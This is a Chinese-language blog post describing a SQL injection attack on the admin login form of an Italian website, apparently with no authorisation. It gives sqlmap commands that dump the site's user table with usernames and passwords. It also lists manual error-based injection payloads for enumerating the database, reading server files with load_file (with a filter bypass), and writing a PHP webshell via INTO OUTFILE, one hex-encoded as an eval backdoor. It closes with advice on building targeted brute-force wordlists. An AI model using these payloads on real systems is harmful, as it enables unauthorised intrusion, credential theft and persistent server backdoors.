意大利后台登录框POST注入实战

简介: 意大利后台登录框POST注入实战

0x01 前言

这篇文章记录的是当时利用SQLMAP和手工方式对意大利网站后台登录框POST注入”的过程POST注入漏洞一般存在于网站搜索查询框、前/后台登录框等功能

以前也一直想写一篇关于POST注入的文章,可惜一直没找到用于演示的网站,朋友@冷空气给我发了一个,感谢!

0x02 Sqlmap注入后台登陆框

打开目标网站后台,登录帐号文本框中输入个'单引号来简单判断是存在SQL注入漏洞,密码随意输入即可,如果返回下图这样的SQL报错信息则说明登录框存在POST注入,提交方式为POST。


然后我们用Burpsuite抓取登录时的POST数据包,也可以用Firefox和Google浏览器开源插件HTTP-Header-Live手工测试


将上边抓取到的POST数据包所有内容保存到文本文件x.txt里,然后利用sqlmap神器中的-r参数来进行测试,具体的参数不做详细说明,请自行查阅sqlmap帮助手册

    sqlmap.py -r x.txt -p username --dbs
    sqlmap.py -r x.txt --dbs


    数据库已经列出来了,继续执行以下命令来跑下sinpf_sinpf数据库的所有表名。

      sqlmap.py -r x.txt -D sinpf_sinpf --tables


      指定数据库都列出来了,继续执行以下命令来跑下sinpf_sinpf数据库user表的所有列名。

        sqlmap.py -r x.txt -D sinpf_sinpf -T user --columns

        指定数据库表名列名都已经出来了,最后跑sinpf_sinpf数据库user表username,userpassword列名里的内容。

          sqlmap.py -r x.txt -D sinpf_sinpf -T user -C username,userpassword --dump


          这里基本就已经完成了这个后台登录框POST注入漏洞的演示因为我们已经得到了网站后台管理员的登录账号和密码等信息,所以没有再继续进行GetShell操作了!!!


          0x03 手工注入后台登陆框语句

          细心的朋友可能有发现这里的测试内容与上边的不一样,如:MySQL版本和Web绝对路径等,这是因为当时写这篇文章时忘截图了,所以在重新整理这篇文章时是另外找了套源码在本地搭建测试的。


          (1) 基本信息

            'and(select 1 from(select count(*),concat((select concat(version(),0x20,user(),0x20,database()) from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'

            (2) 查询表名

              'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
              'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'

              (3) 查询列名

                'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=0x6163636F756E74 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
                'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=0x6163636F756E74 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'

                (4) 查询用户和密码

                  'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
                  'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'

                  (5) 读取指定文件

                  1) 常规读取使用这种即可:

                    'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'

                    2) 过滤load_file()小括号时可以尝试用这种:

                      'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file/*50001file*/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'

                      (6) 导出WebShell

                      1) 常规导出使用这种即可:

                        'or 1 into outfile 'C:\\phpStudy\\WWW\\shell.php' fields terminated by "<?php phpinfo();?>"#

                        2) htmlentities、htmlspecialchars等过滤时可以用这种:

                          'or 1=1 limit 0,1 into outfile 'C:\\phpStudy\\WWW\\bypass.php' fields terminated by 0x3c3f706870206576616c28245f504f53545b636d645d293f3e%23

                          0x04 Sqlmap Post注入三种方式

                          使用Sqlmap工具进行POST注入时得注意一下POST数据包形式,虽然都是POST注入,但还是有一定区别的。以下三种Sqlmap POST注入方式均搜集整理于网络,至于原作者是谁现在也搞不清楚了。

                          (1) 指定数据包方式(-r)

                          • post的body是这种形式:userid=&userpass=
                          root@kali:~# sqlmap -r post.txt -p "userid"


                          (2) 指定一个参数方式(--data)

                          • post的body是这种形式:
                          root@kali:~# sqlmap -u "http://192.168.1.108/kr/Main/Login" --data "name=value" 
                          --c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a
                          Content-Disposition: form-data; name="page"
                          Content-Length: 1
                          1
                          --c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a
                          Content-Disposition: form-data; name="search"
                          Content-Length: 1
                          qqqqq


                          (3) 自动搜索表单方式(--forms)

                          • post的body是这种形式:userid=&userpass=
                          root@kali:~# sqlmap -u "http://192.168.1.108/kr/Main/Login" --forms


                          注:多注意观察下网站域名、管理员邮箱以及数据库/表/列名和管理员用户/密码等信息是否存在一定关联性,可以多搜集一些相关信息,有的管理员为了方便记忆而在多处使用一样或相似的字符,如:网站后台目录、用户/密码、数据库/表/列名等等。也可以根据我们搜集到的这些信息组合生成有针对性测试的爆破字典对目标网站进行安全测试,有时候多注意这些细节地方可能会有小惊喜哦!

                          相关文章
                          |
                          1月前
                          |
                          缓存 机器人 网络安全
                          steam报错“您对 CAPTCHA 的响应似乎无效。请在下方重新验证您不是机器人”
                          你是否满怀期待地准备加入 Steam 的大家庭,却被烦人的 CAPTCHA 验证拦在了门外? 😫 “您对 CAPTCHA 的响应似乎无效。请在下方重新验证您不是机器人。” 这句冰冷的提示,仿佛在嘲笑你的努力,即使反复尝试,错误依然顽固地存在,让人抓狂!🤯 别担心,你不是一个人!很多小伙伴在初次接触 Steam 时,都会遇到这个令人头疼的问题。
                          |
                          3月前
                          |
                          监控
                          若依修改-----其他功能,包括参数设置,通知公告,日志管理,验证码控制开关在参数设置里,若依的注册页面是隐藏的,在src的login.vue的97行注册开发,修改成true,通知公告,促进组织内部信
                          若依修改-----其他功能,包括参数设置,通知公告,日志管理,验证码控制开关在参数设置里,若依的注册页面是隐藏的,在src的login.vue的97行注册开发,修改成true,通知公告,促进组织内部信
                          |
                          3月前
                          |
                          存储 JavaScript 前端开发
                          文本,三步走构思,富文本点击提交能够存储到数据库当中(下),最快的方法,还是会看资料,因此会整合资料最好,直接看资料最快,因为是JWT的资料,我们要设置好登录的内容,看登录的地方怎样写的
                          文本,三步走构思,富文本点击提交能够存储到数据库当中(下),最快的方法,还是会看资料,因此会整合资料最好,直接看资料最快,因为是JWT的资料,我们要设置好登录的内容,看登录的地方怎样写的
                          |
                          安全 前端开发 数据安全/隐私保护
                          登录的功能的实现和登录功能的拦截信息(课时十六)
                          登录的功能的实现和登录功能的拦截信息(课时十六)
                          63 0
                          |
                          SQL 监控 安全
                          韩国登录框POST注入到Getshell
                          韩国登录框POST注入到Getshell
                          165 0
                          |
                          存储 JSON 前端开发
                          【JavaEE】Cookie与Session的前后端交互-表白墙登录设计
                          就是在前后端配合下,感受Cookie的存在!
                          100 0
                          |
                          前端开发 Java 测试技术
                          基于Springboot外卖系统05:用户非登陆状态的页面拦截器实现
                          用户访问接口验证,如果用户没有登录,则不让他访问除登录外的任何接口。
                          116 0
                          |
                          前端开发 数据库
                          eggjs 怎么实现返回 base64 图片的接口给前端回显头像?
                          eggjs 怎么实现返回 base64 图片的接口给前端回显头像?
                          269 0
                          eggjs 怎么实现返回 base64 图片的接口给前端回显头像?
                          |
                          前端开发 JavaScript 数据安全/隐私保护
                          form表单常见控件应用,实例讲解注册页面的开发【2020网页综合笔记03】
                          form表单常见控件应用,实例讲解注册页面的开发【2020网页综合笔记03】
                          191 0
                          form表单常见控件应用,实例讲解注册页面的开发【2020网页综合笔记03】
                          |
                          JavaScript Python
                          抖音 滑块验证方案 s_v_web_id 参数分析
                          抖音 滑块验证方案 s_v_web_id 参数分析
                          1363 0
                          抖音 滑块验证方案 s_v_web_id 参数分析